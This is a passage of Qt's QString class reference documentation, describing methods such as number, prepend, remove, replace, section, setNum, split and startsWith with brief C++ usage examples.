[QString](qstring#QString) QString::normalized([QString::NormalizationForm](qstring#NormalizationForm-enum) *mode*, [QChar::UnicodeVersion](qchar#UnicodeVersion-enum) *version* = QChar::Unicode\_Unassigned) const

 Returns the string in the given Unicode normalization *mode*, according to the given *version* of the Unicode standard.

 ### 
`[static]` [QString](qstring#QString) QString::number(long *n*, int *base* = 10)

 Returns a string equivalent of the number *n* according to the specified *base*.

 The base is 10 by default and must be between 2 and 36. For bases other than 10, *n* is treated as an unsigned integer.

 The formatting always uses [QLocale::C](qlocale#Language-enum), i.e., English/UnitedStates. To get a localized string representation of a number, use [QLocale::toString](qlocale#toString)() with the appropriate locale.

 
```
long a = 63;
QString s = QString::number(a, 16);             // s == "3f"
QString t = QString::number(a, 16).toUpper();     // t == "3F"
```
 **See also** [setNum](qstring#setNum)().

 ### 
`[static]` [QString](qstring#QString) QString::number(int *n*, int *base* = 10)

 This is an overloaded function.

 ### 
`[static]` [QString](qstring#QString) QString::number([uint](qtglobal#uint-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
`[static]` [QString](qstring#QString) QString::number([ulong](qtglobal#ulong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
`[static]` [QString](qstring#QString) QString::number([qlonglong](qtglobal#qlonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
`[static]` [QString](qstring#QString) QString::number([qulonglong](qtglobal#qulonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
`[static]` [QString](qstring#QString) QString::number(double *n*, char *format* = 'g', int *precision* = 6)

 Returns a string representing the floating-point number *n*.

 Returns a string that represents *n*, formatted according to the specified *format* and *precision*.

 For formats with an exponent, the exponent will show its sign and have at least two digits, left-padding the exponent with zero if needed.

 **See also** [setNum](qstring#setNum)(), [QLocale::toString](qlocale#toString)(), [QLocale::FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum), and [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) &QString::prepend(const [QString](qstring#QString) &*str*)

 Prepends the string *str* to the beginning of this string and returns a reference to this string.

 This operation is typically very fast ([constant time](containers#constant-time)), because [QString](qstring) preallocates extra space at the beginning of the string data, so it can grow without reallocating the entire string each time.

 Example:

 
```
QString x = "ship";
QString y = "air";
x.prepend(y);
// x == "airship"
```
 **See also** [append](qstring#append)() and [insert](qstring#insert)().

 ### 
[QString](qstring#QString) &QString::prepend([QChar](qchar) *ch*)

 This function overloads prepend().

 Prepends the character *ch* to this string.

 ### 
`[since 5.5]` [QString](qstring#QString) &QString::prepend(const [QChar](qchar) \**str*, qsizetype *len*)

 This function overloads prepend().

 Prepends *len* characters from the [QChar](qchar) array *str* to this string and returns a reference to this string.

 This function was introduced in Qt 5.5.

 ### 
`[since 6.0]` [QString](qstring#QString) &QString::prepend([QStringView](qstringview) *str*)

 This function overloads prepend().

 Prepends the string view *str* to the beginning of this string and returns a reference to this string.

 This function was introduced in Qt 6.0.

 ### 
[QString](qstring#QString) &QString::prepend([QLatin1String](qlatin1string) *str*)

 This function overloads prepend().

 Prepends the Latin-1 string *str* to this string.

 ### 
[QString](qstring#QString) &QString::prepend(const char \**str*)

 This function overloads prepend().

 Prepends the string *str* to this string. The const char pointer is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this function by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
[QString](qstring#QString) &QString::prepend(const [QByteArray](qbytearray) &*ba*)

 This function overloads prepend().

 Prepends the byte array *ba* to this string. The byte array is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this function by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
void QString::push\_back(const [QString](qstring#QString) &*other*)

 This function is provided for STL compatibility, appending the given *other* string onto the end of this string. It is equivalent to `append(other)`.

 **See also** [append](qstring#append)().

 ### 
void QString::push\_back([QChar](qchar) *ch*)

 This is an overloaded function.

 Appends the given *ch* character onto the end of this string.

 ### 
void QString::push\_front(const [QString](qstring#QString) &*other*)

 This function is provided for STL compatibility, prepending the given *other* string to the beginning of this string. It is equivalent to `prepend(other)`.

 **See also** [prepend](qstring#prepend)().

 ### 
void QString::push\_front([QChar](qchar) *ch*)

 This is an overloaded function.

 Prepends the given *ch* character to the beginning of this string.

 ### 
`[since 5.6]` [QString::reverse\_iterator](qstring#reverse_iterator-typedef) QString::rbegin()

 Returns a [STL-style](containers#stl-style-iterators) reverse iterator pointing to the first character in the string, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  This function was introduced in Qt 5.6.

 **See also** [begin](qstring#begin)(), [crbegin](qstring#crbegin)(), and [rend](qstring#rend)().

 ### 
`[since 5.6]` [QString::const\_reverse\_iterator](qstring#const_reverse_iterator-typedef) QString::rbegin() const

 This is an overloaded function.

 This function was introduced in Qt 5.6.

 ### 
[QString](qstring#QString) &QString::remove(qsizetype *position*, qsizetype *n*)

 Removes *n* characters from the string, starting at the given *position* index, and returns a reference to the string.

 If the specified *position* index is within the string, but *position* + *n* is beyond the end of the string, the string is truncated at the specified *position*.

 
```
QString s = "Montreal";
s.remove(1, 4);
// s == "Meal"
```
 Element removal will preserve the string's capacity and not reduce the amount of allocated memory. To shed extra capacity and free as much memory as possible, call [squeeze](qstring#squeeze)() after the last change to the string's size.

 **See also** [insert](qstring#insert)() and [replace](qstring#replace)().

 ### 
[QString](qstring#QString) &QString::remove([QChar](qchar) *ch*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 Removes every occurrence of the character *ch* in this string, and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString t = "Ali Baba";
t.remove(QChar('a'), Qt::CaseInsensitive);
// t == "li Bb"
```
 This is the same as `replace(ch, "", cs)`.

 Element removal will preserve the string's capacity and not reduce the amount of allocated memory. To shed extra capacity and free as much memory as possible, call [squeeze](qstring#squeeze)() after the last change to the string's size.

 **See also** [replace](qstring#replace)().

 ### 
`[since 5.11]` [QString](qstring#QString) &QString::remove([QLatin1String](qlatin1string) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This is an overloaded function.

 Removes every occurrence of the given *str* string in this string, and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 This is the same as `replace(str, "", cs)`.

 Element removal will preserve the string's capacity and not reduce the amount of allocated memory. To shed extra capacity and free as much memory as possible, call [squeeze](qstring#squeeze)() after the last change to the string's size.

 This function was introduced in Qt 5.11.

 **See also** [replace](qstring#replace)().

 ### 
[QString](qstring#QString) &QString::remove(const [QString](qstring#QString) &*str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 Removes every occurrence of the given *str* string in this string, and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 This is the same as `replace(str, "", cs)`.

 Element removal will preserve the string's capacity and not reduce the amount of allocated memory. To shed extra capacity and free as much memory as possible, call [squeeze](qstring#squeeze)() after the last change to the string's size.

 **See also** [replace](qstring#replace)().

 ### 
`[since 5.0]` [QString](qstring#QString) &QString::remove(const [QRegularExpression](qregularexpression) &*re*)

 Removes every occurrence of the regular expression *re* in the string, and returns a reference to the string. For example:

 
```
QString r = "Telephone";
r.remove(QRegularExpression("[aeiou]."));
// r == "The"
```
 Element removal will preserve the string's capacity and not reduce the amount of allocated memory. To shed extra capacity and free as much memory as possible, call [squeeze](qstring#squeeze)() after the last change to the string's size.

 This function was introduced in Qt 5.0.

 **See also** [indexOf](qstring#indexOf)(), [lastIndexOf](qstring#lastIndexOf)(), and [replace](qstring#replace)().

 ### 
`[since 6.1]` template <typename Predicate> [QString](qstring#QString) &QString::removeIf(Predicate *pred*)

 Removes all elements for which the predicate *pred* returns true from the string. Returns a reference to the string.

 This function was introduced in Qt 6.1.

 **See also** [remove](qstring#remove)().

 ### 
`[since 5.6]` [QString::reverse\_iterator](qstring#reverse_iterator-typedef) QString::rend()

 Returns a [STL-style](containers#stl-style-iterators) reverse iterator pointing just after the last character in the string, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  This function was introduced in Qt 5.6.

 **See also** [end](qstring#end)(), [crend](qstring#crend)(), and [rbegin](qstring#rbegin)().

 ### 
`[since 5.6]` [QString::const\_reverse\_iterator](qstring#const_reverse_iterator-typedef) QString::rend() const

 This is an overloaded function.

 This function was introduced in Qt 5.6.

 ### 
[QString](qstring#QString) QString::repeated(qsizetype *times*) const

 Returns a copy of this string repeated the specified number of *times*.

 If *times* is less than 1, an empty string is returned.

 Example:

 
```
QString str("ab");
str.repeated(4);            // returns "abababab"
```
 ### 
[QString](qstring#QString) &QString::replace(qsizetype *position*, qsizetype *n*, const [QString](qstring#QString) &*after*)

 Replaces *n* characters beginning at index *position* with the string *after* and returns a reference to this string.

  **Note:** If the specified *position* index is within the string, but *position* + *n* goes outside the strings range, then *n* will be adjusted to stop at the end of the string.

  Example:

 
```
QString x = "Say yes!";
QString y = "no";
x.replace(4, 3, y);
// x == "Say no!"
```
 **See also** [insert](qstring#insert)() and [remove](qstring#remove)().

 ### 
[QString](qstring#QString) &QString::replace(qsizetype *position*, qsizetype *n*, [QChar](qchar) *after*)

 This function overloads replace().

 Replaces *n* characters beginning at index *position* with the character *after* and returns a reference to this string.

 ### 
[QString](qstring#QString) &QString::replace(qsizetype *position*, qsizetype *n*, const [QChar](qchar) \**unicode*, qsizetype *size*)

 This function overloads replace().

 Replaces *n* characters beginning at index *position* with the first *size* characters of the [QChar](qchar) array *unicode* and returns a reference to this string.

 ### 
[QString](qstring#QString) &QString::replace([QChar](qchar) *before*, [QChar](qchar) *after*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces every occurrence of the character *before* with the character *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 ### 
[QString](qstring#QString) &QString::replace(const [QChar](qchar) \**before*, qsizetype *blen*, const [QChar](qchar) \**after*, qsizetype *alen*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces each occurrence in this string of the first *blen* characters of *before* with the first *alen* characters of *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 ### 
[QString](qstring#QString) &QString::replace([QLatin1String](qlatin1string) *before*, [QLatin1String](qlatin1string) *after*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces every occurrence of the string *before* with the string *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

  **Note:** The text is not rescanned after a replacement.

  ### 
[QString](qstring#QString) &QString::replace([QLatin1String](qlatin1string) *before*, const [QString](qstring#QString) &*after*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces every occurrence of the string *before* with the string *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

  **Note:** The text is not rescanned after a replacement.

  ### 
[QString](qstring#QString) &QString::replace(const [QString](qstring#QString) &*before*, [QLatin1String](qlatin1string) *after*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces every occurrence of the string *before* with the string *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

  **Note:** The text is not rescanned after a replacement.

  ### 
[QString](qstring#QString) &QString::replace(const [QString](qstring#QString) &*before*, const [QString](qstring#QString) &*after*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces every occurrence of the string *before* with the string *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString str = "colour behaviour flavour neighbour";
str.replace(QString("ou"), QString("o"));
// str == "color behavior flavor neighbor"
```
  **Note:** The replacement text is not rescanned after it is inserted.

  Example:

 
```
QString equis = "xxxxxx";
equis.replace("xx", "x");
// equis == "xxx"
```
 ### 
[QString](qstring#QString) &QString::replace([QChar](qchar) *ch*, const [QString](qstring#QString) &*after*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces every occurrence of the character *ch* in the string with *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 ### 
[QString](qstring#QString) &QString::replace([QChar](qchar) *c*, [QLatin1String](qlatin1string) *after*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads replace().

 Replaces every occurrence of the character *c* with the string *after* and returns a reference to this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

  **Note:** The text is not rescanned after a replacement.

  ### 
`[since 5.0]` [QString](qstring#QString) &QString::replace(const [QRegularExpression](qregularexpression) &*re*, const [QString](qstring#QString) &*after*)

 This function overloads replace().

 Replaces every occurrence of the regular expression *re* in the string with *after*. Returns a reference to the string. For example:

 
```
QString s = "Banana";
s.replace(QRegularExpression("a[mn]"), "ox");
// s == "Boxoxa"
```
 For regular expressions containing capturing groups, occurrences of **\1**, **\2**, ..., in *after* are replaced with the string captured by the corresponding capturing group.

 
```
QString t = "A <i>bon mot</i>.";
t.replace(QRegularExpression("<i>([^<]*)</i>"), "\\emph{\\1}");
// t == "A \\emph{bon mot}."
```
 This function was introduced in Qt 5.0.

 **See also** [indexOf](qstring#indexOf)(), [lastIndexOf](qstring#lastIndexOf)(), [remove](qstring#remove)(), [QRegularExpression](qregularexpression), and [QRegularExpressionMatch](qregularexpressionmatch).

 ### 
void QString::reserve(qsizetype *size*)

 Ensures the string has space for at least *size* characters.

 If you know in advance how large the string will be, you can call this function to save repeated reallocation in the course of building it. This can improve performance when building a string incrementally. A long sequence of operations that add to a string may trigger several reallocations, the last of which may leave you with significantly more space than you really need, which is less efficient than doing a single allocation of the right size at the start.

 If in doubt about how much space shall be needed, it is usually better to use an upper bound as *size*, or a high estimate of the most likely size, if a strict upper bound would be much bigger than this. If *size* is an underestimate, the string will grow as needed once the reserved size is exceeded, which may lead to a larger allocation than your best overestimate would have and will slow the operation that triggers it.

  **Warning:** reserve() reserves memory but does not change the size of the string. Accessing data beyond the end of the string is undefined behavior. If you need to access memory beyond the current end of the string, use [resize](qstring#resize)().

  This function is useful for code that needs to build up a long string and wants to avoid repeated reallocation. In this example, we want to add to the string until some condition is `true`, and we're fairly sure that size is large enough to make a call to reserve() worthwhile:

 
```
QString result;
qsizetype maxSize;
bool condition;
QChar nextChar;

result.reserve(maxSize);

while (condition)
    result.append(nextChar);

result.squeeze();
```
 **See also** [squeeze](qstring#squeeze)(), [capacity](qstring#capacity)(), and [resize](qstring#resize)().

 ### 
void QString::resize(qsizetype *size*)

 Sets the size of the string to *size* characters.

 If *size* is greater than the current size, the string is extended to make it *size* characters long with the extra characters added to the end. The new characters are uninitialized.

 If *size* is less than the current size, characters beyond position *size* are excluded from the string.

  **Note:** While resize() will grow the capacity if needed, it never shrinks capacity. To shed excess capacity, use [squeeze](qstring#squeeze)().

  Example:

 
```
QString s = "Hello world";
s.resize(5);
// s == "Hello"

s.resize(8);
// s == "Hello???" (where ? stands for any character)
```
 If you want to append a certain number of identical characters to the string, use the [resize](qstring#resize-1)(qsizetype, QChar) overload.

 If you want to expand the string so that it reaches a certain width and fill the new positions with a particular character, use the [leftJustified](qstring#leftJustified)() function:

 If *size* is negative, it is equivalent to passing zero.

 
```
QString r = "Hello";
r = r.leftJustified(10, ' ');
// r == "Hello     "
```
 **See also** [truncate](qstring#truncate)(), [reserve](qstring#reserve)(), and [squeeze](qstring#squeeze)().

 ### 
`[since 5.7]` void QString::resize(qsizetype *size*, [QChar](qchar) *fillChar*)

 This is an overloaded function.

 Unlike [resize](qstring#resize)(qsizetype), this overload initializes the new characters to *fillChar*:

 
```
QString t = "Hello";
r.resize(t.size() + 10, 'X');
// t == "HelloXXXXXXXXXX"
```
 This function was introduced in Qt 5.7.

 ### 
[QString](qstring#QString) QString::right(qsizetype *n*) const

 Returns a substring that contains the *n* rightmost characters of the string.

 If you know that *n* cannot be out of bounds, use [last](qstring#last)() instead in new code, because it is faster.

 The entire string is returned if *n* is greater than or equal to [size](qstring#size)(), or less than zero.

 **See also** [endsWith](qstring#endsWith)(), [last](qstring#last)(), [first](qstring#first)(), [sliced](qstring#sliced)(), [chopped](qstring#chopped)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
[QString](qstring#QString) QString::rightJustified(qsizetype *width*, [QChar](qchar) *fill* = QLatin1Char(' '), bool *truncate* = false) const

 Returns a string of [size](qstring#size)() *width* that contains the *fill* character followed by the string. For example:

 
```
QString s = "apple";
QString t = s.rightJustified(8, '.');    // t == "...apple"
```
 If *truncate* is `false` and the [size](qstring#size)() of the string is more than *width*, then the returned string is a copy of the string.

 If *truncate* is true and the [size](qstring#size)() of the string is more than *width*, then the resulting string is truncated at position *width*.

 
```
QString str = "Pineapple";
str = str.rightJustified(5, '.', true);    // str == "Pinea"
```
 **See also** [leftJustified](qstring#leftJustified)().

 ### 
[QString](qstring#QString) QString::section([QChar](qchar) *sep*, qsizetype *start*, qsizetype *end* = -1, [QString::SectionFlags](qstring#SectionFlag-enum) *flags* = SectionDefault) const

 This function returns a section of the string.

 This string is treated as a sequence of fields separated by the character, *sep*. The returned string consists of the fields from position *start* to position *end* inclusive. If *end* is not specified, all fields from position *start* to the end of the string are included. Fields are numbered 0, 1, 2, etc., counting from the left, and -1, -2, etc., counting from right to left.

 The *flags* argument can be used to affect some aspects of the function's behavior, e.g. whether to be case sensitive, whether to skip empty fields and how to deal with leading and trailing separators; see [SectionFlags](qstring#SectionFlag-enum).

 
```
QString str;
QString csv = "forename,middlename,surname,phone";
QString path = "/usr/local/bin/myapp"; // First field is empty
QString::SectionFlag flag = QString::SectionSkipEmpty;

str = csv.section(',', 2, 2);   // str == "surname"
str = path.section('/', 3, 4);  // str == "bin/myapp"
str = path.section('/', 3, 3, flag); // str == "myapp"
```
 If *start* or *end* is negative, we count fields from the right of the string, the right-most field being -1, the one from right-most field being -2, and so on.

 
```
str = csv.section(',', -3, -2);  // str == "middlename,surname"
str = path.section('/', -1); // str == "myapp"
```
 **See also** [split](qstring#split)().

 ### 
[QString](qstring#QString) QString::section(const [QString](qstring#QString) &*sep*, qsizetype *start*, qsizetype *end* = -1, [QString::SectionFlags](qstring#SectionFlag-enum) *flags* = SectionDefault) const

 This function overloads section().

 
```
QString str;
QString data = "forename**middlename**surname**phone";

str = data.section("**", 2, 2); // str == "surname"
str = data.section("**", -3, -2); // str == "middlename**surname"
```
 **See also** [split](qstring#split)().

 ### 
`[since 5.0]` [QString](qstring#QString) QString::section(const [QRegularExpression](qregularexpression) &*re*, qsizetype *start*, qsizetype *end* = -1, [QString::SectionFlags](qstring#SectionFlag-enum) *flags* = SectionDefault) const

 This function overloads section().

 This string is treated as a sequence of fields separated by the regular expression, *re*.

 
```
QString line = "forename\tmiddlename  surname \t \t phone";
QRegularExpression sep("\\s+");
str = line.section(sep, 2, 2); // str == "surname"
str = line.section(sep, -3, -2); // str == "middlename  surname"
```
  **Warning:** Using this [QRegularExpression](qregularexpression) version is much more expensive than the overloaded string and character versions.

  This function was introduced in Qt 5.0.

 **See also** [split](qstring#split)() and [simplified](qstring#simplified)().

 ### 
[QString](qstring#QString) &QString::setNum(int *n*, int *base* = 10)

 Sets the string to the printed value of *n* in the specified *base*, and returns a reference to the string.

 The base is 10 by default and must be between 2 and 36.

 
```
QString str;
str.setNum(1234);       // str == "1234"
```
 The formatting always uses [QLocale::C](qlocale#Language-enum), i.e., English/UnitedStates. To get a localized string representation of a number, use [QLocale::toString](qlocale#toString)() with the appropriate locale.

 **See also** [number](qstring#number)().

 ### 
[QString](qstring#QString) &QString::setNum(short *n*, int *base* = 10)

 This is an overloaded function.

 ### 
[QString](qstring#QString) &QString::setNum([ushort](qtglobal#ushort-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
[QString](qstring#QString) &QString::setNum([uint](qtglobal#uint-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
[QString](qstring#QString) &QString::setNum(long *n*, int *base* = 10)

 This is an overloaded function.

 ### 
[QString](qstring#QString) &QString::setNum([ulong](qtglobal#ulong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
[QString](qstring#QString) &QString::setNum([qlonglong](qtglobal#qlonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
[QString](qstring#QString) &QString::setNum([qulonglong](qtglobal#qulonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 ### 
[QString](qstring#QString) &QString::setNum(float *n*, char *format* = 'g', int *precision* = 6)

 This is an overloaded function.

 Sets the string to the printed value of *n*, formatted according to the given *format* and *precision*, and returns a reference to the string.

 The formatting always uses [QLocale::C](qlocale#Language-enum), i.e., English/UnitedStates. To get a localized string representation of a number, use [QLocale::toString](qlocale#toString)() with the appropriate locale.

 **See also** [number](qstring#number)().

 ### 
[QString](qstring#QString) &QString::setNum(double *n*, char *format* = 'g', int *precision* = 6)

 This is an overloaded function.

 Sets the string to the printed value of *n*, formatted according to the given *format* and *precision*, and returns a reference to the string.

 **See also** [number](qstring#number)(), [QLocale::FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum), and [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) &QString::setRawData(const [QChar](qchar) \**unicode*, qsizetype *size*)

 Resets the [QString](qstring) to use the first *size* Unicode characters in the array *unicode*. The data in *unicode* is *not* copied. The caller must be able to guarantee that *unicode* will not be deleted or modified as long as the [QString](qstring) (or an unmodified copy of it) exists.

 This function can be used instead of [fromRawData](qstring#fromRawData)() to re-use existings [QString](qstring) objects to save memory re-allocations.

 **See also** [fromRawData](qstring#fromRawData)().

 ### 
[QString](qstring#QString) &QString::setUnicode(const [QChar](qchar) \**unicode*, qsizetype *size*)

 Resizes the string to *size* characters and copies *unicode* into the string.

 If *unicode* is `nullptr`, nothing is copied, but the string is still resized to *size*.

 **See also** [unicode](qstring#unicode)() and [setUtf16](qstring#setUtf16)().

 ### 
[QString](qstring#QString) &QString::setUtf16(const [ushort](qtglobal#ushort-typedef) \**unicode*, qsizetype *size*)

 Resizes the string to *size* characters and copies *unicode* into the string.

 If *unicode* is `nullptr`, nothing is copied, but the string is still resized to *size*.

 Note that unlike [fromUtf16](qstring#fromUtf16)(), this function does not consider BOMs and possibly differing byte ordering.

 **See also** [utf16](qstring#utf16)() and [setUnicode](qstring#setUnicode)().

 ### 
`[since 5.10]` void QString::shrink\_to\_fit()

 This function is provided for STL compatibility. It is equivalent to [squeeze](qstring#squeeze)().

 This function was introduced in Qt 5.10.

 **See also** [squeeze](qstring#squeeze)().

 ### 
[QString](qstring#QString) QString::simplified() const

 Returns a string that has whitespace removed from the start and the end, and that has each sequence of internal whitespace replaced with a single space.

 Whitespace means any character for which [QChar::isSpace](qchar#isSpace)() returns `true`. This includes the ASCII characters '\t', '\n', '\v', '\f', '\r', and ' '.

 Example:

 
```
QString str = "  lots\t of\nwhitespace\r\n ";
str = str.simplified();
// str == "lots of whitespace";
```
 **See also** [trimmed](qstring#trimmed)().

 ### 
qsizetype QString::size() const

 Returns the number of characters in this string.

 The last character in the string is at position size() - 1.

 Example:

 
```
QString str = "World";
qsizetype n = str.size();   // n == 5
str.data()[0];              // returns 'W'
str.data()[4];              // returns 'd'
```
 **See also** [isEmpty](qstring#isEmpty)() and [resize](qstring#resize)().

 ### 
`[since 6.0]` [QString](qstring#QString) QString::sliced(qsizetype *pos*, qsizetype *n*) const

 Returns a string that contains *n* characters of this string, starting at position *pos*.

  **Note:** The behavior is undefined when *pos* < 0, *n* < 0, or *pos* + *n* > [size](qstring#size)().

  
```
QString x = "Nine pineapples";
QString y = x.sliced(5, 4);            // y == "pine"
QString z = x.sliced(5);               // z == "pineapples"
```
 This function was introduced in Qt 6.0.

 **See also** [first](qstring#first)(), [last](qstring#last)(), [chopped](qstring#chopped)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
`[since 6.0]` [QString](qstring#QString) QString::sliced(qsizetype *pos*) const

 This is an overloaded function.

 Returns a string that contains the portion of this string starting at position *pos* and extending to its end.

  **Note:** The behavior is undefined when *pos* < 0 or *pos* > [size](qstring#size)().

  This function was introduced in Qt 6.0.

 **See also** [first](qstring#first)(), [last](qstring#last)(), [sliced](qstring#sliced)(), [chopped](qstring#chopped)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
`[since 5.14]` [QStringList](qstringlist) QString::split(const [QString](qstring#QString) &*sep*, [Qt::SplitBehavior](qt#SplitBehaviorFlags-enum) *behavior* = Qt::KeepEmptyParts, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Splits the string into substrings wherever *sep* occurs, and returns the list of those strings. If *sep* does not match anywhere in the string, split() returns a single-element list containing this string.

 *cs* specifies whether *sep* should be matched case sensitively or case insensitively.

 If *behavior* is [Qt::SkipEmptyParts](qt#SplitBehaviorFlags-enum), empty entries don't appear in the result. By default, empty entries are kept.

 Example:

 
```
QString str = QStringLiteral("a,,b,c");

QStringList list1 = str.split(QLatin1Char(','));
// list1: [ "a", "", "b", "c" ]

QStringList list2 = str.split(QLatin1Char(','), Qt::SkipEmptyParts);
// list2: [ "a", "b", "c" ]
```
 If *sep* is empty, split() returns an empty string, followed by each of the string's characters, followed by another empty string:

 
```
QString str = "abc";
auto parts = str.split(QString());
// parts: {"", "a", "b", "c", ""}
```
 To understand this behavior, recall that the empty string matches everywhere, so the above is qualitatively the same as:

 
```
QString str = "/a/b/c/";
auto parts = str.split(QLatin1Char('/'));
// parts: {"", "a", "b", "c", ""}
```
 This function was introduced in Qt 5.14.

 **See also** [QStringList::join](qstringlist#join)() and [section](qstring#section)().

 ### 
`[since 5.14]` [QStringList](qstringlist) QString::split([QChar](qchar) *sep*, [Qt::SplitBehavior](qt#SplitBehaviorFlags-enum) *behavior* = Qt::KeepEmptyParts, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This is an overloaded function.

 This function was introduced in Qt 5.14.

 ### 
`[since 5.14]` [QStringList](qstringlist) QString::split(const [QRegularExpression](qregularexpression) &*re*, [Qt::SplitBehavior](qt#SplitBehaviorFlags-enum) *behavior* = Qt::KeepEmptyParts) const

 This is an overloaded function.

 Splits the string into substrings wherever the regular expression *re* matches, and returns the list of those strings. If *re* does not match anywhere in the string, split() returns a single-element list containing this string.

 Here is an example where we extract the words in a sentence using one or more whitespace characters as the separator:

 
```
QString str;
QStringList list;

str = "Some  text\n\twith  strange whitespace.";
list = str.split(QRegularExpression("\\s+"));
// list: [ "Some", "text", "with", "strange", "whitespace." ]
```
 Here is a similar example, but this time we use any sequence of non-word characters as the separator:

 
```
str = "This time, a normal English sentence.";
list = str.split(QRegularExpression("\\W+"), Qt::SkipEmptyParts);
// list: [ "This", "time", "a", "normal", "English", "sentence" ]
```
 Here is a third example where we use a zero-length assertion, **\b** (word boundary), to split the string into an alternating sequence of non-word and word tokens:

 
```
str = "Now: this sentence fragment.";
list = str.split(QRegularExpression("\\b"));
// list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ]
```
 This function was introduced in Qt 5.14.

 **See also** [QStringList::join](qstringlist#join)() and [section](qstring#section)().

 ### 
void QString::squeeze()

 Releases any memory not required to store the character data.

 The sole purpose of this function is to provide a means of fine tuning [QString](qstring)'s memory usage. In general, you will rarely ever need to call this function.

 **See also** [reserve](qstring#reserve)() and [capacity](qstring#capacity)().

 ### 
bool QString::startsWith(const [QString](qstring#QString) &*s*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns `true` if the string starts with *s*; otherwise returns `false`.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 
```
QString str = "Bananas";
str.startsWith("Ban");     // returns true
str.startsWith("Car");     // returns false
```
 **See also** [endsWith](qstring#endsWith)().

 ### 
`[since 5.10]` bool QString::startsWith([QStringView](qstringview) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This is an overloaded function.

 Returns `true` if the string starts with the string view *str*; otherwise returns `false`.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case-sensitive; otherwise the search is case insensitive.

 This function was introduced in Qt 5.10.
